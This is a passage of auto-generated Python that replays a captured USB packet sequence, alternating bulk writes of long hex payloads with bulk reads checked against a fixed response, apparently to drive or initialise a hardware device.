b\"\\x87\\xF0\\x77\\xE5\\x5A\\xFA\\xF6\\x4E\\x6C\\x79\\x00\\xE0\\x9C\\x3C\\xB0\\x45\"\n b\"\\xF7\\xBF\\x1B\\xE3\\x6A\\x85\\x13\\x4E\\xAB\\x97\\x65\\x18\\x17\\x25\\x2F\\xB5\"\n b\"\\xA8\\x1E\\xDF\\x91\\xF6\\x0A\\x58\\x5C\\x00\\x22\\x23\\x1C\\x36\\x30\\xC6\\x02\"\n b\"\\xBC\\x25\\x13\\x19\\xEC\\x67\\x6C\\x07\\xBA\\xB9\\x80\\xDD\\xDE\\xB0\\xAF\\x10\"\n b\"\\x71\\x38\\x84\\x74\\xD8\\xB9\\xA0\\xCB\\x88\\x9E\\xEA\\xA5\\x2E\\xF7\\xFF\\x22\"\n b\"\\xA7\\x78\\x29\\xEE\\x8A\\xA5\\xA4\\x89\\x40\\x27\\x9B\\x57\")\n # Generated from packet 2267/2268\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2267/2268\")\n # Generated from packet 2269/2270\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x67\\x0A\\x7F\\xFA\\x9C\\x57\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBA\\x9A\\x09\\x41\\xA6\\xA5\\x89\\xA9\"\n b\"\\x41\\x54\\xE6\\x39\\x4D\\x8E\\xBC\\xA9\\x04\\xA6\\x1E\\xAE\\x1E\\xD3\\x53\\x17\"\n b\"\\x5E\\xE9\\x8F\\x1B\\x6E\\x66\\x1B\\xBE\\x5A\\x70\\x63\\x87\\x9A\\x02\\x3D\\x7D\"\n b\"\\x3A\\x9E\\x00\\xD6\\x93\\xC6\\x37\\x31\\xF4\\xEE\\x9C\\x8D\\x1A\\x7A\\x8C\\x47\"\n b\"\\xF5\\xF9\\x0D\\x2B\\xF8\\x31\\xB2\\xE0\\xBD\\x24\\x91\\x63\\x7C\\x8F\\xFF\\x8A\"\n b\"\\x2E\\x0D\\xC2\\x18\\x32\\x4A\\x07\\xE6\\xFD\\xB5\\xCA\\xAE\\x1A\\x6C\\x3E\\x88\"\n b\"\\x88\\x92\\x31\\xF7\\x2E\\x8D\\x61\\xF8\\x10\\x4A\\x2A\\xD8\\xF8\\x33\\xA2\\x84\"\n b\"\\xA9\\x22\\x2D\\x3E\\x46\\xD8\\x7E\\x3F\\x30\\xFA\\x7F\\x54\\xB7\\xBE\\xEF\\xD2\"\n b\"\\x01\\xED\\xF1\\xC6\\x1A\\xFD\\xF2\\xF9\\xDF\\xEB\\x5C\\xFB\\x68\\x80\\xD4\\x18\"\n b\"\\xA7\\xCF\\x64\\xAD\\x39\\x70\\xDA\\x92\\x0E\\x64\\x61\\xC3\\x7D\\x27\\x7A\\x3B\"\n b\"\\x87\\xA2\\x41\\xF9\\x7E\\x7D\\xB4\\x18\\x25\\xBA\\x9A\\x76\\x93\\x46\\xB9\\x03\"\n b\"\\x0F\\xC9\\x66\\xF5\\x0B\\x6F\\x1F\\xA1\\x0A\\x42\\xAC\\x93\\x3D\\x48\\xED\\x33\"\n b\"\\xCF\\xE3\\xF2\\xA8\\x1A\\xB3\\x6D\\x6A\\x43\\xFD\\x6B\\xF0\\x30\\x28\\x08\\xFA\"\n b\"\\xA6\\x50\\x73\\x66\\x91\\xFE\\x52\\xFF\\x91\\x80\\x1B\\x32\\x20\\x69\\xDB\\xC4\"\n b\"\\x28\\xAE\\x23\\xD9\\x5C\\xF3\\x63\\x52\\x70\\x3B\\x20\\x6C\\x5C\\x3B\\x08\\x78\"\n b\"\\x4C\\x39\\x52\\x7A\\xD5\\x08\\x29\\x24\\xC0\\x17\\x38\\x71\\xAC\\xE8\\x3B\\xF0\"\n b\"\\xC7\\x7E\\x7D\\x78\\xEB\\x42\\xC7\\x30\\x68\\x1C\\x01\\x4A\")\n # Generated from packet 2271/2272\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2271/2272\")\n # Generated from packet 2273/2274\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x16\\xE1\\xF9\\xD1\\xC1\\x32\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x16\\x09\\x41\\x3F\\x3A\\xC1\\xC5\"\n b\"\\x7E\\x58\\x79\\xB5\\x6A\\x21\\x55\\xA1\\x47\\xFB\\x42\\xD8\\xF5\\x5D\\xB1\\x1F\"\n b\"\\x88\\x25\\x29\\x8C\\xFD\\x3C\\x09\\x27\\xA8\\xEE\\xC8\\x6C\\x71\\x3E\\xEE\\x48\"\n b\"\\x43\\x40\\xD7\\x00\\x0E\\xC4\\x77\\xA3\\x9F\\xBE\\x9E\\x4F\\x28\\x10\\x9C\\xEE\"\n b\"\\x79\\x65\\x02\\x4A\\x86\\x64\\x82\\x98\\xED\\x10\\xA3\\x32\\x0E\\x43\\x9D\\xEF\"\n b\"\\xF3\\x49\\x3E\\x07\\xAB\\xEB\\xD8\\xDE\\xDB\\xF3\\x3C\\x6B\\xC2\\x3F\\x8A\\xA4\"\n b\"\\xAC\\xC2\\xC3\\x73\\x3E\\x2B\\x52\\xF0\\xCF\\x98\\x78\\x9E\\xD1\\xB3\\x53\\x7C\"\n b\"\\x60\\x2E\\x29\\xFF\\xBB\\xE8\\xD8\\xD9\\xAC\\xE9\\x5F\\xD4\\x7F\\xD4\\x59\\x87\"\n b\"\\xD2\\x3B\\x44\\xFF\\xC6\\x81\\x40\\xC3\\xB1\\x1F\\x43\\xD3\\x40\\x0C\\xFE\\x23\"\n b\"\\x52\\x50\\x12\\x25\\x28\\xD7\\xE8\\x0A\\x58\\x49\\xAF\\x9B\\xFC\\xD1\\x67\\xBB\"\n b\"\\x54\\x34\\x92\\xFD\\xF3\\xE5\\x80\\x8A\\xEB\\x15\\xA2\\x26\\x75\\x1D\\xD5\\x67\"\n b\"\\x86\\xBD\\x76\\x95\\x30\\xC3\\xE3\\xAA\\x5A\\x2F\\x31\\x9F\\xF3\\xD5\\x54\\x03\"\n b\"\\xA4\\xB8\\x90\\x97\\xE6\\x95\\xDA\\x1E\\xDB\\x47\\xD8\\x27\\xA4\\x8D\\xA1\\xA1\"\n b\"\\xB3\\xD4\\xEB\\xBC\\x08\\xE2\\xF5\\x10\\xDD\\x83\\xB0\\xB4\\x02\\x07\\xEF\\x78\"\n b\"\\x72\\x3B\\x2A\\xDA\\xCF\\xD5\\x37\\xC8\\x72\\x68\\xEA\\x8C\\xB6\\xC6\\x06\\xD9\"\n b\"\\xC2\\x96\\x4E\\x8F\\xFF\\xA4\\x2B\\xED\\xEF\\x7A\\x26\\xCF\\x03\\x86\\xFD\\x84\"\n b\"\\x4D\\x5A\\x7E\\x29\\x75\\x9C\\x2F\\xAD\\x53\\xB2\\x83\\xA3\")\n # Generated from packet 2275/2276\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2275/2276\")\n # Generated from packet 2277/2278\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD5\\xC7\\x91\\x56\\xF8\\x6A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xAF\\xF0\\xCB\\xFB\\x1C\\xF1\\xB7\\xDE\"\n b\"\\xAC\\x70\\x4F\\xC9\\xB0\\x67\\x45\\x9E\\xF9\\x25\\xF1\\x0C\\xC5\\xEB\\x5C\\xFC\"\n b\"\\x6B\\xDD\\x86\\x44\\xE7\\xB0\\xA2\\x81\\xD2\\x78\\xE0\\xFC\\x85\\x36\\xC0\\xF9\"\n b\"\\x89\\xC6\\xD2\\xD1\\x40\\x2E\\x82\\xB5\\x05\\x4D\\x79\\x34\\x61\\x35\\x35\\xEE\"\n b\"\\xEF\\x91\\xC6\\x34\\xBA\\xA7\\x1C\\x83\\xE2\\xE2\\x7D\\x29\\x0C\\x87\\x83\\xD1\"\n b\"\\xEB\\x58\\x73\\x4D\\x0C\\x53\\x48\\x6E\\xDD\\x7F\\xC6\\x96\\xF0\\xBA\\x39\\xAF\"\n b\"\\x2F\\x26\\xDC\\x8A\\x09\\x0A\\x30\\xC4\\x8B\\xEF\\xD8\\x77\\xEB\\xFE\\xCD\\xA5\"\n b\"\\x78\\x83\\xCC\\x54\\x23\\xCD\\x86\\x50\\x65\\x3D\\xD8\\x67\\xE0\\xC0\\xEF\\x2D\"\n b\"\\xD6\\x10\\x68\\x88\\x57\\x2E\\x83\\xFF\\x6E\\xB0\\xB6\\x5C\\xFD\\x4B\\x2F\\xC2\"\n b\"\\x4C\\xBB\\x39\\xD3\\x2E\\x05\\x3D\\xED\\x9D\\x04\\x03\\x09\\x6D\\xCE\\x0A\\x53\"\n b\"\\x04\\x8F\\x25\\x0C\\xD4\\x71\\x44\\x9E\\x76\\x8C\\x4A\\x38\\x07\\xBB\\xF3\\x34\"\n b\"\\x48\\xAA\\xAB\\x28\\x79\\x80\\x53\\x9F\\xC8\\xC9\\xB3\\x8C\\x57\\x71\\x0C\\x33\"\n b\"\\x63\\x60\\xFD\\x0B\\x65\\x4A\\x5E\\x40\\x20\\x57\\x79\\x94\\x3B\\xAE\\x8E\\xF0\"\n b\"\\xE6\\xE4\\xF3\\xE4\\xA5\\xF6\\x40\\x46\\x7C\\xE6\\x62\\xB7\\xCC\\x1F\\x01\\x39\"\n b\"\\x2F\\xE6\\xB2\\xDF\\xB3\\x73\\x4F\\x25\\xE5\\x16\\x6F\\x74\\x96\\x65\\xA9\\x2A\"\n b\"\\xDA\\xB7\\xC1\\x19\\xDF\\xC7\\x13\\x5F\\xF1\\x4A\\x58\\xE8\\xEB\\x83\\x89\\x89\"\n b\"\\x6B\\x28\\x41\\xA4\\x43\\x72\\x1C\\x64\\x88\\xAB\\xBC\\x74\")\n # Generated from packet 2279/2280\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2279/2280\")\n # Generated from packet 2281/2282\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x6A\\x82\\x40\\xA5\\xCD\\x4B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x61\\x55\\x9F\\xD3\\x26\\xED\\x16\\xAB\"\n b\"\\x34\\x60\\xDE\\xFD\\x16\\xB1\\xD0\\x98\\xD1\\x0A\\xF7\\xF5\\x37\\x16\\x8D\\x5D\"\n b\"\\x0C\\xD3\\xF9\\x9A\\xBF\\x45\\x74\\x25\\xE6\\x5E\\x99\\x87\\x9C\\x35\\x18\\xF1\"\n b\"\\x5C\\xD5\\x08\\xE0\\xC1\\x04\\xF8\\x95\\x67\\x04\\x05\\xBE\\x29\\x69\\x49\\xEF\"\n b\"\\xFD\\x1F\\x1F\\xF1\\xAB\\xD7\\x88\\xF7\\x63\\x9E\\x9F\\xA3\\xE7\\xC1\\x10\\xAA\"\n b\"\\x07\\x15\\xDC\\xE2\\x8A\\x93\\x1D\\x71\\x2E\\x34\\xBB\\x1C\\xB6\\xA0\\x01\\xC8\"\n b\"\\x90\\x5D\\x09\\x1A\\x09\\xC7\\x6E\\x6D\\xA6\\xE4\\x39\\x4D\\xCF\\x7F\\x3A\\xED\"\n b\"\\xB7\\xF5\\x1F\\x9F\\x9A\\x83\\x16\\xF6\\x83\\x42\\x38\\xE9\\x56\\x4E\\x8C\\x4B\"\n b\"\\x47\\x2D\\xE8\\x67\\x92\\xB5\\xC5\\x28\\xC9\\xF6\\x71\\x8B\\x9F\\x62\\x6D\\xF2\"\n b\"\\x59\\x15\\xB1\\x11\\x4A\\x4B\\x37\\x22\\x32\\x14\\x38\\xC8\\x09\\x0C\\x77\\x7E\"\n b\"\\xFF\\xEF\\xEF\\xD0\\x1E\\x23\\x2A\\x0F\\x8E\\x31\\x11\\xD7\\xCF\\x44\\xA0\\xDD\"\n b\"\\x59\\x37\\x81\\x88\\xC5\\x0E\\x98\\x73\\x41\\xE5\\xA8\\x65\\xE0\\x8B\\x3E\\xE8\"\n b\"\\xBB\\xD8\\xE7\\xF2\\x6E\\xEF\\xBF\\x85\\x57\\x44\\x04\\xBF\\xB1\\x1F\\xF8\\x88\"\n b\"\\x79\\x36\\x15\\xFD\\x5D\\x45\\x4A\\xAE\\xC7\\x41\\xC7\\x36\\xCC\\x7A\\x49\\x41\"\n b\"\\xD5\\x7A\\x18\\xD4\\xE0\\x22\\xBE\\xEB\\x09\\x42\\x41\\x08\\xD3\\x5D\\x7F\\x77\"\n b\"\\x0F\\x3D\\x85\\x37\\x64\\xDB\\xDA\\x45\\x00\\x2F\\x1C\\xD4\\x85\\x48\\xC3\\xDF\"\n b\"\\x9A\\x6E\\xCE\\x34\\x5D\\x39\\xBC\\x4C\\x06\\x88\\xF2\\x8D\")\n # Generated from packet 2283/2284\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2283/2284\")\n # Generated from packet 2285/2286\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x05\\x23\\x2E\\x36\\x8C\\x19\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x52\\x79\\x8A\\xF6\\x76\\x34\\x31\\xD2\"\n b\"\\xCE\\x54\\x42\\x24\\x49\\x52\\x00\\x7F\\x67\\x98\\xE7\\x91\\x02\\x71\\x5E\\xC2\"\n b\"\\x1B\\x7E\\xC2\\xA0\\x77\\x36\\x12\\x65\\xAD\\x79\\x0E\\xF6\\xC0\\xF4\\xA4\\xBA\"\n b\"\\x3E\\x6F\\x56\\x46\\x91\\x8F\\x0A\\x51\\xD3\\x36\\x75\\x46\\xCA\\x17\\x69\\x3A\"\n b\"\\x49\\xF1\\x0F\\xB2\\x0C\\x96\\x93\\xC8\\xE9\\x93\\xD0\\x4E\\xD8\\x0C\\xD6\\xFF\"\n b\"\\xF2\\x62\\xC4\\x5E\\x40\\x85\\x49\\xC5\\x38\\x63\\x1F\\x26\\x8C\\xE6\\xF2\\x56\"\n b\"\\xF7\\x9C\\x38\\x04\\x71\\x4A\\xE6\\x91\\x9E\\x2C\\x6C\\x3B\\x9C\\xF4\\x7C\\xAB\"\n b\"\\x73\\x27\\xF0\\x59\\x42\\x61\\x7D\\x54\\x7B\\xFF\\x4C\\xB8\\xC3\\xD1\\x90\\xDA\"\n b\"\\x93\\x9C\\x5C\\xC4\\x15\\x62\\x5A\\xF6\\x69\\xBA\\xDF\\xBC\\xBB\\xED\\xD3\\x81\"\n b\"\\xF9\\xDA\\x4D\\xE3\\x27\\x6A\\x1D\\xF6\\x46\\xD4\\x60\\x95\\x88\\x2F\\xF2\\x37\"\n b\"\\x36\\xC9\\x92\\xB1\\x12\\x65\\x65\\xBF\\x4D\\xCC\\xFA\\x77\\x1B\\x19\\x96\\xC2\"\n b\"\\x4E\\xB3\\x7B\\x07\\xD0\\x5B\\x58\\xEE\\xB3\\x71\\x0E\\x2D\\x9E\\xA9\\xCD\\x17\"\n b\"\\x9C\\xB5\\x02\\x0C\\x7E\\x3A\\xC6\\xE9\\x12\\x66\\xBF\\x70\\x0A\\x23\\x36\\x2D\"\n b\"\\x76\\x42\\x89\\x8F\\x93\\x88\\xA1\\xF9\\x5B\\x50\\x94\\xD8\\x32\\xA2\\xBC\\xCC\"\n b\"\\xF5\\x9E\\x7B\\x47\\xBD\\xB1\\x61\\x85\\x3D\\x5A\\x14\\xD5\\xEB\\x08\\xD9\\xD2\"\n b\"\\x40\\xEA\\x44\\x55\\xE1\\xC1\\x97\\xF9\\x30\\x95\\x26\\x51\\x84\\x2C\\x43\\xB1\"\n b\"\\x26\\x2C\\x9A\\x3D\\xAF\\x2B\\x4C\\x88\\xC6\\x24\\x60\\xBD\")\n # Generated from packet 2287/2288\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2287/2288\")\n # Generated from packet 2289/2290\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x98\\xE7\\x71\\x3C\\x87\\x79\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA0\\xDE\\x14\\x48\\x2A\\xDD\\x07\\x56\"\n b\"\\x05\\x35\\x3F\\x0D\\x74\\xF6\\x46\\xDD\\x28\\x3E\\xDD\\x28\\x18\\xA0\\x9D\\x9B\"\n b\"\\xEB\\x43\\x7D\\x7A\\x8E\\xAE\\xD3\\x92\\xAF\\x2E\\x23\\x2D\\xC9\\xDA\\x8F\\x2E\"\n b\"\\x8A\\x1C\\x61\\x36\\x3E\\x02\\xB0\\xCD\\xE4\\xC4\\x4F\\x90\\x30\\xB9\\x82\\x85\"\n b\"\\x22\\xDA\\x0D\\x2E\\xCC\\xB9\\xD4\\x5B\\x0B\\xCB\\x95\\x3A\\xDB\\x1F\\xEE\\xD5\"\n b\"\\xBF\\x35\\xE9\\x77\\xB2\\x6B\\x54\\xBD\\xC0\\x75\\x04\\x2A\\x25\\x6A\\xF0\\x8C\"\n b\"\\xD4\\xF0\\x12\\x1B\\xF5\\xFA\\xE6\\x6A\\x4C\\x13\\x98\\x10\\x96\\xDF\\x73\\xC4\"\n b\"\\xAF\\x51\\xFF\\xA6\\xE1\\xBE\\x22\\xD2\\xCA\\x6D\\xF2\\x38\\x75\\xA0\\xA4\\x6F\"\n b\"\\x08\\xBA\\xE5\\x71\\x0D\\x34\\xE8\\xBD\\xC3\\x39\\x3B\\x5E\\x81\\x93\\x0B\\x59\"\n b\"\\x6D\\x09\\xC7\\xC1\\x5B\\xF4\\x31\\xAA\\xD2\\x72\\x8B\\x6A\\xBE\\xA7\\xF1\\xC0\"\n b\"\\xA5\\xD9\\x25\\xF6\\xC9\\xB1\\x13\\xEA\\xA8\\x8E\\x87\\x76\\x39\\xB5\\x57\\x13\"\n b\"\\x4E\\xE7\\x0F\\x8D\\x77\\x1A\\xD3\\xB6\\x29\\x83\\x0E\\xC8\\x8E\\x64\\x66\\xC7\"\n b\"\\x26\\xBC\\x32\\xD7\\x50\\x3C\\xB3\\x1A\\x61\\x03\\x28\\x18\\xD5\\xFA\\x4A\\x5B\"\n b\"\\xF1\\x72\\xC4\\xE1\\x00\\x4C\\xBA\\xE8\\xF6\\x5B\\xB9\\x80\\xA1\\x49\\xBF\\xC5\"\n b\"\\x0E\\x81\\x9B\\x7C\\xF8\\xB6\\xB8\\x89\\xED\\x52\\x79\\x7F\\xFC\\x93\\xB2\\x46\"\n b\"\\x03\\xFD\\xF8\\x8A\\xD7\\x14\\xBC\\xB0\\x2D\\xFF\\x84\\x8F\\x4F\\x66\\x1E\\x63\"\n b\"\\xDA\\x86\\xDF\\x0A\\x16\\x82\\xE9\\x75\\x34\\xDD\\x79\\x0B\")\n # Generated from packet 2291/2292\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2291/2292\")\n # Generated from packet 2293/2294\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x43\\xF7\\x75\\xF4\\x20\\x70\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x86\\xF5\\x36\\x7B\\x60\\x30\\xBB\\xC0\"\n b\"\\x12\\xEE\\x93\\x37\\x73\\xAA\\xE2\\x12\\xA3\\x36\\xE2\\x47\\xF4\\xC7\\x8B\\x2D\"\n b\"\\x53\\x77\\x3B\\x45\\x0D\\x70\\x56\\x96\\x8F\\x2A\\xAA\\x87\\x7E\\xF0\\x66\\xC7\"\n b\"\\xDE\\x3A\\x42\\xFF\\x73\\xFB\\x04\\x3D\\x0D\\x6B\\xB5\\xA6\\xA1\\x71\\x17\\xFB\"\n b\"\\xFA\\x28\\xB1\\x27\\xF4\\x6D\\xB1\\x62\\x0A\\xD9\\x6B\\x7D\\x75\\xC2\\x7D\\xED\"\n b\"\\x2A\\xF8\\xF0\\x0E\\x37\\xBF\\xF1\\x53\\xF2\\x68\\xE8\\xAD\\x5B\\x29\\x32\\x46\"\n b\"\\xEC\\xED\\x27\\xB2\\xFE\\x8D\\x86\\xFC\\xAE\\x6B\\x94\\x08\\x18\\x45\\xFF\\xE9\"\n b\"\\x00\\xA1\\x1B\\x63\\x9A\\x17\\x9F\\xF4\\x9D\\xC0\\xF6\\x07\\xCD\\x1C\\x06\\xE5\"\n b\"\\xFB\\xE9\\x4D\\xF4\\xA7\\xD4\\x52\\x24\\xF7\\xFD\\x5E\\x24\\xA1\\x3E\\x81\\x46\"\n b\"\\x64\\x1A\\xE2\\xC5\\x3D\\xE3\\x1F\\x15\\x17\\xD4\\x5C\\x50\\xF6\\x95\\xFD\\x91\"\n b\"\\x83\\xB7\\x5E\\x97\\xA6\\x00\\xEA\\x3B\\xDB\\xE0\\x57\\x61\\xB2\\xE8\\xDA\\x83\"\n b\"\\x41\\x5F\\xF3\\xFB\\x90\\x77\\xB5\\x93\\x5C\\xFF\\x1F\\x8B\\x9B\\x0A\\xAF\\x10\"\n b\"\\x47\\x3C\\x7D\\xD7\\x81\\x33\\x9E\\x5E\\x0B\\x0A\\x51\\x58\\xD1\\x1A\\x8B\\x73\"\n b\"\\xD2\\xC5\\x69\\x24\\x3B\\x5F\\x01\\x75\\x4E\\x22\\xC2\\x6E\\x81\\xC0\\x15\\x59\"\n b\"\\xB8\\xBD\\x80\\xEB\\x69\\x36\\x5F\\x5B\\xB2\\x2C\\x63\\xAC\\xF4\\x94\\x36\\x2C\"\n b\"\\xBA\\x3E\\x45\\xDE\\x94\\xB7\\x50\\xAE\\x92\\xBE\\x05\\x6B\\xEB\\x02\\x93\\xB4\"\n b\"\\xD9\\x09\\xC6\\x00\\x67\\x21\\xDF\\x4F\\x7B\\x4C\\xDA\\x57\")\n # Generated from packet 2295/2296\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2295/2296\")\n # Generated from packet 2297/2298\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x13\\x55\\xDD\\x14\\x23\\x32\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2B\\x84\\xA5\\x05\\x03\\x28\\x6F\\x9C\"\n b\"\\xD2\\xF6\\xDE\\x70\\x82\\x06\\xD0\\x9B\\x5E\\xF0\\xE9\\x15\\x06\\x99\\xBF\\x39\"\n b\"\\x68\\x41\\xA6\\xE5\\x64\\x95\\x20\\xD8\\xE8\\xFE\\x83\\xC0\\xA4\\x40\\x9A\\x39\"\n b\"\\x40\\xB4\\x77\\x6E\\x78\\x98\\x29\\x59\\xD0\\x9C\\x19\\x4E\\x7F\\x08\\xD5\\xA1\"\n b\"\\x95\\x59\\xEA\\x9B\\xF1\\x0B\\xDA\\x99\\x90\\x38\\x8C\\xED\\xFE\\x12\\x1F\\x0C\"\n b\"\\xBA\\xC1\\x66\\x6A\\x47\\x85\\x83\\xCF\\x86\\x11\\xA8\\x57\\xAF\\x41\\x0B\\xDA\"\n b\"\\x8D\\xB9\\x64\\xFE\\x02\\xC1\\x36\\x73\\x76\\x94\\x77\\x35\\xDB\\xC4\\x82\\x43\"\n b\"\\x9C\\xE8\\xE5\\x90\\xF2\\x12\\xEF\\x3B\\xFE\\xD0\\xD0\\xC4\\x4B\\xFD\\x9D\\xB3\"\n b\"\\x00\\x88\\x4D\\x9E\\xB9\\xBC\\x77\\x4F\\x65\\x06\\x21\\xFE\\xDF\\x72\\xAA\\x64\"\n b\"\\x2B\\xA5\\xEB\\x2A\\x1B\\x53\\x0C\\x60\\x1A\\x74\\xE6\\xCF\\xDA\\x5F\\x46\\x98\"\n b\"\\x8B\\xAA\\x91\\x41\\x26\\x22\\x4B\\x0C\\xAF\\x06\\xC4\\x2D\\xEA\\x41\\xEE\\x8C\"\n b\"\\x68\\x99\\x2C\\x9C\\x3A\\x6F\\x7F\\x9F\\xF9\\x1E\\x10\\xAD\\xEC\\xEB\\x5C\\x43\"\n b\"\\xB8\\xB5\\x58\\xC3\\x6E\\x79\\x16\\x0C\\x5C\\x92\\xE7\\x8F\\x5E\\x3B\\xC1\\x33\"\n b\"\\x64\\x90\\x14\\xCE\\x72\\xE7\\x6F\\xF2\\xD9\\x57\\xD6\\xA0\\xCB\\xA2\\x93\\xA2\"\n b\"\\x56\\x9A\\x46\\x3C\\x7D\\x04\\x57\\xE1\\x9B\\x97\\x32\\xCD\\x5D\\x90\\x16\\x5F\"\n b\"\\x74\\x66\\x44\\xD8\\x4A\\x00\\x50\\x47\\xDA\\x0D\\x80\\x47\\xF3\\x74\\xFA\\x5C\"\n b\"\\xE7\\x9F\\x9F\\x7F\\x0F\\xC1\\x0E\\x20\\x0C\\x96\\xC6\\x35\")\n # Generated from packet 2299/2300\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2299/2300\")\n # Generated from packet 2301/2302\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xDD\\xFB\\xEE\\x46\\x64\\x7E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x99\\x3C\\xC8\\x1D\\x36\\x01\\xE3\\xC8\"\n b\"\\xB3\\x7D\\x27\\xB1\\x89\\xF6\\xDA\\xB4\\x23\\xFF\\x68\\xD9\\x0C\\x7D\\x9B\\x3F\"\n b\"\\xFE\\xD2\\x0B\\x0C\\x93\\x3B\\x46\\xF7\\x0A\\x56\\xAF\\xBA\\xF7\\x1F\\x77\\xDF\"\n b\"\\xA9\\x1B\\x16\\xED\\x69\\x58\\x0D\\xD7\\xCE\\x73\\xDE\\x10\\xB8\\xAA\\xD8\\x3F\"\n b\"\\x9E\\xB2\\xB6\\x5D\\x78\\x20\\xF6\\xC2\\x49\\x77\\xD6\\xBC\\xFC\\xFA\\x55\\xA5\"\n b\"\\x8E\\x0B\\xA3\\x2E\\x16\\x9C\\x46\\xE6\\xEB\\x24\\x64\\x37\\x6F\\x5C\\x01\\xBB\"\n b\"\\xBC\\x24\\xF3\\x2D\\xE7\\x5B\\x90\\xC3\\xBE\\x3E\\x61\\xDC\\x6E\\x47\\x37\\x82\"\n b\"\\x73\\xB1\\xB8\\xFA\\xBC\\x75\\x92\\xB2\\x1B\\x0B\\x5A\\xEA\\xFC\\xE0\\xD7\\xCE\"\n b\"\\x28\\x1D\\x96\\x25\\x75\\x80\\xBC\\x08\\x5A\\x39\\xE8\\x50\\xBD\\xFB\\xDC\\xB9\"\n b\"\\x40\\x41\\x17\\x4A\\xC1\\x80\\x27\\xA2\\xCC\\x86\\x2F\\xC1\\xAF\\x73\\x9E\\x07\"\n b\"\\x81\\x11\\x70\\x5C\\x07\\x1D\\x1D\\x09\\x9E\\x31\\xEB\\xA1\\xB3\\x19\\x19\\x43\"\n b\"\\x95\\x53\\xE8\\xF6\\xDD\\xF4\\x3B\\xA4\\x0A\\x1A\\x14\\x0D\\x4C\\x13\\x7E\\xB7\"\n b\"\\x59\\x50\\x0B\\xEE\\xDB\\x52\\x74\\x6C\\x4E\\xCA\\xA8\\xB8\\xF7\\xA2\\x90\\xF4\"\n b\"\\x7F\\x6A\\x31\\x62\\x81\\x15\\x63\\x2A\\x1C\\x48\\xB5\\x28\\x37\\x96\\xCB\\x47\"\n b\"\\x4F\\xFF\\x2A\\xBC\\xA6\\xD8\\x34\\x93\\x2D\\x5C\\x1B\\xF1\\x76\\xC9\\x7A\\xED\"\n b\"\\xA1\\x48\\x65\\xB8\\xA3\\x40\\x58\\xF3\\x9C\\x5E\\x96\\x78\\x60\\xDA\\x96\\xBA\"\n b\"\\x83\\xA4\\x72\\xF6\\xC6\\xA8\\x80\\xA9\\xB3\\xDC\\x89\\xBB\")\n # Generated from packet 2303/2304\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2303/2304\")\n # Generated from packet 2305/2306\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x19\\xA2\\xC8\\xE8\\xB8\\x17\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7F\\x8A\\x30\\x45\\x45\\x6C\\x8E\\x15\"\n b\"\\xA8\\xF3\\x4B\\xC5\\x98\\x47\\xC8\\xF0\\x60\\xAF\\x8B\\xC4\\x72\\xB5\\x7C\\x5A\"\n b\"\\x07\\x13\\xA6\\xF6\\x79\\x3A\\xEF\\x92\\x2B\\x63\\x8F\\xF7\\xDE\\x5E\\xD3\\x28\"\n b\"\\x6E\\x6F\\x13\\x65\\xF7\\xFE\\x56\\x9F\\x29\\x7C\\x10\\x29\\x7E\\x74\\x66\\x78\"\n b\"\\xD3\\xA0\\x0D\\xA5\\xB7\\x09\\x95\\xA8\\xB8\\x91\\xFA\\xFF\\x92\\x36\\x89\\x16\"\n 